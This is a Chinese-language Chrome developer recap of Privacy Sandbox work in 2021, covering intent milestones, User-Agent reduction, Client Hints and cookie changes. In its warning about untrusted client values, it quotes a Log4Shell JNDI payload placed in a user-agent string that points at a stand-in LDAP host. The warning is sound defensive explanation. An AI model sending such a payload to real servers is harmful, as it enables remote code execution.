歡迎閱讀 Privacy Sandbox 中的 2021 年總結版本,瞭解在 Chrome 中逐步淘汰第三方 Cookie 並致力打造更私密網路環境的各階段里程碑。一般而言,我們會大致介紹 Privacy Sandbox 時程的更新資訊和整個專案的最新消息,但 12 月是個平靜的月份。我會回顧一下 2021 年的幾項活動,並在新的一年中提供一些可能的解決方法。
Chromium 開發程序
如要在 Chromium 中推出全新的網路平台功能,請務必完成專案的開放式開發程序。2021 年,Privacy Sandbox 團隊產生:
🥚 | 有意圖進行原型設計 | 19 |
🧪 | 實驗意願 | 7 |
🚀 | 有意出貨 | 11 |
每個里程碑也是一個活動,邀請更廣大的網路生態系統一起做出貢獻。
原型意圖是第一個查核點,我們邀請討論和早期實驗。這表示我們會在 GitHub 上提供提案,您可以在此提出問題,建立問題來提問,或加入標準群組的討論和簡報 (例如 W3C 和 IETF)。這同時也是程式設計的開始階段;也就是說,您可以預期在功能旗標後方提供原型功能,供開發人員測試使用。初步意見回饋對驗證和疊代提案十分重要。
如果想要要求來源試用,意圖實驗是選用步驟。開發人員可以申請功能的來源試用,然後在實際工作環境中進行測試。我們之所以稱做「實驗」,是因為我們有特定面向,希望在實際環境中驗證這項功能。測試及分享結果的開發人員可提供寶貴的意見回饋,協助疊代及改良這項功能。
「Intent to Ship」(意圖要出貨) 是最終的里程碑,表示功能已完成,並已正式發布。此功能一經核准,就會合併為即將推出的版本,然後再逐步進行 Canary、Beta 及穩定版。請務必確保使用 Chrome 的 Canary 版本和 Beta 版測試網站,以便在功能穩定發布前找出並回報錯誤。
提案
每項 Privacy Sandbox 提案都有隨附的 GitHub 存放區。存放區會託管說明,提供整體功能摘要、瀏覽器實作的詳細規格,以及整個網路生態系統的貢獻 (以問題和提取要求的形式)。
14 個 Privacy Sandbox 存放區共有:
💬 | 545 | 出現的問題 |
250 | 已解決的問題 | |
🛠️ | 261 | 已建立提取要求 |
223 | 已合併提取要求 |
說明和規格的語言通常是以熟悉標準與瀏覽器開發的目標對象為目標對象,如果您不熟悉這項工具,可能會感到困難。但說明的目的是解釋!如果有不清楚或未涵蓋的要點,請提報問題,以便我們更新並釐清說明。
解析度
使用者代理程式大掃除
隨著新年減少,我們也將往後納入 Chrome 100 版和減少的使用者代理程式字串數量。建議您這麼做,確認程式碼中所有使用者代理程式字串的使用情況,看看是否受上述任一變更影響。
如何找到這些區域:
- 在 JavaScript 程式碼中搜尋
navigator.userAgent
,或可存取伺服器程式碼中的User-Agent
標頭。 - 檢查字串剖析結果,瞭解約 2 位數字的版本。例如,指定
\d\d
或\d{2}
的規則運算式應替換為\d+
。 - 檢查是否在指定任何位置使用字串:
- 平台 (作業系統) 版本
- 完整 Chrome 版本
- 行動裝置名稱
- 這些值日後會縮減為固定字串。如果您需要存取這些值,請遷移至 User-Agent Client Hints。
還有一個 12 月的更新需要提到。如果您要採用 User-Agent Client Hints,我們已透過 <meta>
標記傳送意圖至啟用 HTML 中其他來源的委派提示。例如:
<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">
如果您覺得有極致的大掃除情緒,也可以考慮同時使用使用者代理程式的替代方法。如果您使用字串偵測行動裝置,請調查您是否能改用回應式設計。如果您是為了檢查瀏覽器名稱和版本而看到功能支援,請確認您是否能改用功能偵測功能。
請切記,使用者代理程式就像任何用戶端提供的值一樣,不一定準確或甚至提供。最近的 Log4j 安全漏洞「Log4shell」提供了這種風險的範例。將使用者代理程式字串設為包含 ${jndi:ldap://example.com/file}
這類值的用戶端,就能讓網站主動在伺服器上剖析該值。
Cookie 分類
另一項傳統的新年活動是確保您能擁有健康的 Cookie 數量以及優質食材。逐步淘汰第三方 Cookie 的同時,請務必確認網站的哪些 Cookie 會受到影響。為了向 SameSite=None
跨網站和第三方使用所有 Cookie 標記,我們需要 2020 年提前做好準備。
任何將 SameSite
屬性設為 None
的 Cookie 都需要更新。
目前會有三種可能的路線:
- 如果只需要與頂層網站一對一關係時需要使用 Cookie,請按照 CHIPS 提案的進度操作。也就是說,在 Cookie 中加入
Partitioned
屬性。 - 如果 Cookie 用於跨網站情境,但範圍僅限於您自有自營的網站,那就適合使用第一方集合。這種方法必須在組合中定義網站,然後將
SameParty
屬性新增至 Cookie。 - 如果 Cookie 用於在多個網站中提供某種形式的共用值,請查看更廣泛的 Privacy Sandbox 提案,找出不需要跨網站追蹤的替代解決方案。
如果您覺得格外注重健康,不妨趁機重新審視所有 Cookie 使用情形,因為我們一直在準備改善第一方 Cookie。
意見回饋:
隨著我們持續發布這些每月更新,並在 Privacy Sandbox 中全面發布進展,我們希望確保開發人員獲得所需的資訊與支援。如果您對本系列文章有任何需要改進的地方,歡迎透過 @ChromiumDev Twitter 告訴我們。我們會參考您輸入的內容繼續改善格式。
請查看 Privacy Sandbox 常見問題,我們會根據您提交至開發人員支援存放區的問題,持續改善這份內容。如果您對任何提案的測試或實作有任何疑問,歡迎聯絡我們。